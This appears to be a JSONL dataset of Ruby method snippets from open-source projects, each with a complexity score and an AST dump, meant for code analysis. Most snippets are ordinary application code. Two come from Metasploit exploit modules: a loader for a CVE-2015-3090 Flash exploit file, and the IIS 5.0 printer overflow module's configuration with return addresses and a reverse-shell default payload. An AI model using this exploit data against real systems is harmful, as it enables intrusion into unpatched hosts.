{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/lane.rb","start_line":17,"raw_source":"def initialize(platform: nil, name: nil, description: nil, block: nil, is_private: false)\n      UI.user_error!(\"description must be an array\") unless description.kind_of?(Array)\n      UI.user_error!(\"lane name must not contain any spaces\") if name.to_s.include?(\" \")\n      UI.user_error!(\"lane name must start with :\") unless name.kind_of?(Symbol)\n\n      self.class.verify_lane_name(name)\n\n      self.platform = platform\n      self.name = name\n      self.description = description\n      # We want to support _both_ lanes expecting a `Hash` (like `lane :foo do |options|`), and lanes expecting\n      # keyword parameters (like `lane :foo do |param1:, param2:, param3: 'default value'|`)\n      block_expects_keywords = !block.nil? && block.parameters.any? { |type, _| [:key, :keyreq].include?(type) }\n      # Conversion of the `Hash` parameters (passed by `Lane#call`) into keywords has to be explicit in Ruby 3\n      # https://www.ruby-lang.org/en/news/2019/12/12/separation-of-positional-and-keyword-arguments-in-ruby-3-0/\n      self.block = block_expects_keywords ? proc { |options| block.call(**options) } : block\n      self.is_private = is_private\n    end","complexity_score":31.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"platform\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"description\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"block\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"is_private\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"description must be an array\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"lane name must not contain any spaces\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Symbol\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"lane name must start with :\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"verify_lane_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"platform=\",{\"type\":\"lvar\",\"children\":[\"platform\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name=\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"description=\",{\"type\":\"lvar\",\"children\":[\"description\"]}]},{\"type\":\"lvasgn\",\"children\":[\"block_expects_keywords\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"nil?\"]},\"!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"parameters\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"keyreq\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"block=\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_expects_keywords\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"is_private=\",{\"type\":\"lvar\",\"children\":[\"is_private\"]}]}]}]}","id":"b01bd942-b335-4088-a548-ed0664402d34"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb","start_line":149,"raw_source":"def create_swf\n    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3090', 'msf.swf')\n    swf = ::File.open(path, 'rb') { |f| swf = f.read }\n\n    swf\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_swf\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"CVE-2015-3090\"]},{\"type\":\"str\",\"children\":[\"msf.swf\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"swf\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"swf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"read\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"swf\"]}]}]}","id":"08703778-fd2b-4b8d-8369-927c394df640"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_customize_themes.rb","start_line":219,"raw_source":"def switch_to_themes\n        find(\".themes-tab\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"switch_to_themes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".themes-tab\"]}]},\"click\"]}]}","id":"5e1e6964-0433-49d4-a4db-036229067108"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation.rb","start_line":32,"raw_source":"def maximum(column_name)\n        exec_explain { @relation.maximum(column_name) }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"maximum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exec_explain\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation\"]},\"maximum\",{\"type\":\"lvar\",\"children\":[\"column_name\"]}]}]}]}","id":"523c9146-79ce-4233-a9c9-e216eaf5a6c4"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/provider_results/capabilities.rb","start_line":39,"raw_source":"def self.build(app_enabled:, group_folder_enabled:, app_version:,\n                           group_folder_version:, contract: CapabilitiesContract.new)\n              contract.call(app_enabled:, group_folder_enabled:, app_version:, group_folder_version:)\n                      .to_monad.fmap { new(**it.to_h) }\n            end","complexity_score":9.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"app_enabled\"]},{\"type\":\"kwarg\",\"children\":[\"group_folder_enabled\"]},{\"type\":\"kwarg\",\"children\":[\"app_version\"]},{\"type\":\"kwarg\",\"children\":[\"group_folder_version\"]},{\"type\":\"kwoptarg\",\"children\":[\"contract\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CapabilitiesContract\"]},\"new\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_enabled\"]},{\"type\":\"lvar\",\"children\":[\"app_enabled\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_folder_enabled\"]},{\"type\":\"lvar\",\"children\":[\"group_folder_enabled\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_version\"]},{\"type\":\"lvar\",\"children\":[\"app_version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_folder_version\"]},{\"type\":\"lvar\",\"children\":[\"group_folder_version\"]}]}]}]},\"to_monad\"]},\"fmap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\"]},\"to_h\"]}]}]}]}]}]}","id":"eafa9e14-3f49-4f35-a0bf-8186175a95b2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/reference_parser_helpers.rb","start_line":8,"raw_source":"def expect_gathered_references(result, visible, nodes, visible_nodes)\n    expect(result[:visible]).to eq(visible)\n    expect(result[:nodes]).to eq(nodes)\n    expect(result[:visible_nodes]).to eq(visible_nodes)\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_gathered_references\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]},{\"type\":\"arg\",\"children\":[\"visible\"]},{\"type\":\"arg\",\"children\":[\"nodes\"]},{\"type\":\"arg\",\"children\":[\"visible_nodes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"visible\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"visible\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nodes\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"nodes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"visible_nodes\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"visible_nodes\"]}]}]}]}]}","id":"739ec6ab-cfe4-47fd-b16c-3c7f7d8ee6cd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/iis/ms01_023_printer.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',\n        'Description' => %q{\n          This exploits a buffer overflow in the request processor of the\n          Internet Printing Protocol ISAPI module in IIS. This module\n          works against Windows 2000 Server and Professional SP0-SP1.\n\n          If the service stops responding after a successful compromise,\n          run the exploit a couple more times to completely kill the\n          hung process.\n        },\n        'Author' => [ 'hdm' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2001-0241'],\n          [ 'OSVDB', '3323'],\n          [ 'BID', '2674'],\n          [ 'MSB', 'MS01-023'],\n          [ 'URL', 'https://seclists.org/lists/bugtraq/2001/May/0005.html'],\n        ],\n        'Privileged' => false,\n        'Payload' => {\n          'Space' => 900,\n          'BadChars' => \"\\x00\\x0a\\x0b\\x0d\\x20\\x2f\\x3a\",\n          'StackAdjustment' => -3500\n        },\n        'Targets' => [\n          # jmp esp @ compfilt.dll\n          [ 'Windows 2000 SP0-SP1 (Arabic)', { 'Ret' => 0x732345f3 } ],\n          [ 'Windows 2000 SP0-SP1 (Czech)', { 'Ret' => 0x732645f3 } ],\n          [ 'Windows 2000 SP0-SP1 (Chinese)', { 'Ret' => 0x732245f3 } ],\n          [ 'Windows 2000 SP0-SP1 (Dutch)', { 'Ret' => 0x732745f3 } ],\n          [ 'Windows 2000 SP0-SP1 (English)', { 'Ret' => 0x732c45f3 } ],\n          [ 'Windows 2000 SP0-SP1 (French)', { 'Ret' => 0x732345f3 } ],\n          [ 'Windows 2000 SP0-SP1 (Finnish)', { 'Ret' => 0x732945f3 } ],\n          [ 'Windows 2000 SP0-SP1 (German)', { 'Ret' => 0x732345f3 } ],\n          # [ 'Windows 2000 SP0-SP1 (Greek)', { 'Ret' => 0x732045f3 } ], # contains 0x20\n          [ 'Windows 2000 SP0-SP1 (Korean)', { 'Ret' => 0x731e45f3 } ],\n          [ 'Windows 2000 SP0-SP1 (Hungarian)', { 'Ret' => 0x732445f3 } ],\n          [ 'Windows 2000 SP0-SP1 (Italian)', { 'Ret' => 0x732645f3 } ],\n          [ 'Windows 2000 SP0-SP1 (Portuguese)', { 'Ret' => 0x732645f3 } ],\n          [ 'Windows 2000 SP0-SP1 (Spanish)', { 'Ret' => 0x732645f3 } ],\n          [ 'Windows 2000 SP0-SP1 (Swedish)', { 'Ret' => 0x732945f3 } ],\n          [ 'Windows 2000 SP0-SP1 (Turkish)', { 'Ret' => 0x732545f3 } ],\n\n          # jmp esp @ ws2_32.dll\n          [ 'Windows 2000 Pro SP0 (Greek)', { 'Ret' => 0x74f862c3 } ],\n          [ 'Windows 2000 Pro SP1 (Greek)', { 'Ret' => 0x74f85173 } ],\n        ],\n        'Arch' => [ARCH_X86],\n        'Platform' => 'win',\n        'DefaultOptions' => {\n          'PAYLOAD' => 'windows/shell/reverse_tcp'\n        },\n        'Notes' => {\n          'Reliability' => [REPEATABLE_SESSION],\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [IOC_IN_LOGS]\n        },\n        'DefaultTarget' => 4,\n        'DisclosureDate' => '2001-05-01'\n      )\n    )\n\n    register_options([\n      Opt::RPORT(80)\n    ])\n  end","complexity_score":11.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This exploits a buffer overflow in the request processor of the\\n\"]},{\"type\":\"str\",\"children\":[\"          Internet Printing Protocol ISAPI module in IIS. This module\\n\"]},{\"type\":\"str\",\"children\":[\"          works against Windows 2000 Server and Professional SP0-SP1.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          If the service stops responding after a successful compromise,\\n\"]},{\"type\":\"str\",\"children\":[\"          run the exploit a couple more times to completely kill the\\n\"]},{\"type\":\"str\",\"children\":[\"          hung process.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2001-0241\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"3323\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"2674\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS01-023\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://seclists.org/lists/bugtraq/2001/May/0005.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[900]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\u000b\\r /:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0-SP1 (Arabic)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1931691507]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0-SP1 (Czech)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1931888115]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0-SP1 (Chinese)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1931625971]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0-SP1 (Dutch)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1931953651]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0-SP1 (English)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1932281331]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0-SP1 (French)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1931691507]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0-SP1 (Finnish)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1932084723]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0-SP1 (German)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1931691507]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0-SP1 (Korean)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1931363827]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0-SP1 (Hungarian)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1931757043]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0-SP1 (Italian)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1931888115]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0-SP1 (Portuguese)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1931888115]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0-SP1 (Spanish)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1931888115]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0-SP1 (Swedish)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1932084723]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP0-SP1 (Turkish)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1931822579]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 Pro SP0 (Greek)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1962435267]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 Pro SP1 (Greek)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1962430835]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"windows/shell/reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2001-05-01\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[80]}]}]}]}]}]}","id":"41d06c94-a2aa-438b-b471-7efb42a066f8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":1664,"raw_source":"def color_mode_id\n    return Gitlab::ColorModes::APPLICATION_DARK if theme_id == 11\n\n    read_attribute(:color_mode_id)\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"color_mode_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"theme_id\"]},\"==\",{\"type\":\"int\",\"children\":[11]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ColorModes\"]},\"APPLICATION_DARK\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"read_attribute\",{\"type\":\"sym\",\"children\":[\"color_mode_id\"]}]}]}]}","id":"1d00c5bf-79b3-4a57-b320-2672046794f9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/database_configurations/resolver_test.rb","start_line":9,"raw_source":"def resolve_db_config(pool_config, config = {})\n          configs = ActiveRecord::DatabaseConfigurations.new(config)\n          configs.resolve(pool_config)\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_db_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pool_config\"]},{\"type\":\"optarg\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"configs\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"DatabaseConfigurations\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configs\"]},\"resolve\",{\"type\":\"lvar\",\"children\":[\"pool_config\"]}]}]}]}","id":"d22033fd-7c5e-4525-bf56-3d23cc7365a9"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report_result.rb","start_line":68,"raw_source":"def result_set\n    (table || []).map(&:to_hash)\n  end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"result_set\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table\"]},{\"type\":\"array\",\"children\":[]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_hash\"]}]}]}]}","id":"71728084-39da-45a5-840a-7d64ca89c9a7"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/rubocop/cop/open_project/add_preview_for_view_component.rb","start_line":36,"raw_source":"def on_class(node)\n      path = node.loc.expression.source_buffer.name\n      return unless path.include?(COMPONENT_PATH) && path.end_with?(\".rb\")\n\n      preview_path = path.sub(COMPONENT_PATH, PREVIEW_PATH).sub(\".rb\", \"_preview.rb\")\n\n      unless File.exist?(preview_path)\n        message = \"Missing Lookbook preview for #{path}. Expected preview to exist at #{preview_path}.\"\n        add_offense(node.loc.name, message:)\n      end\n    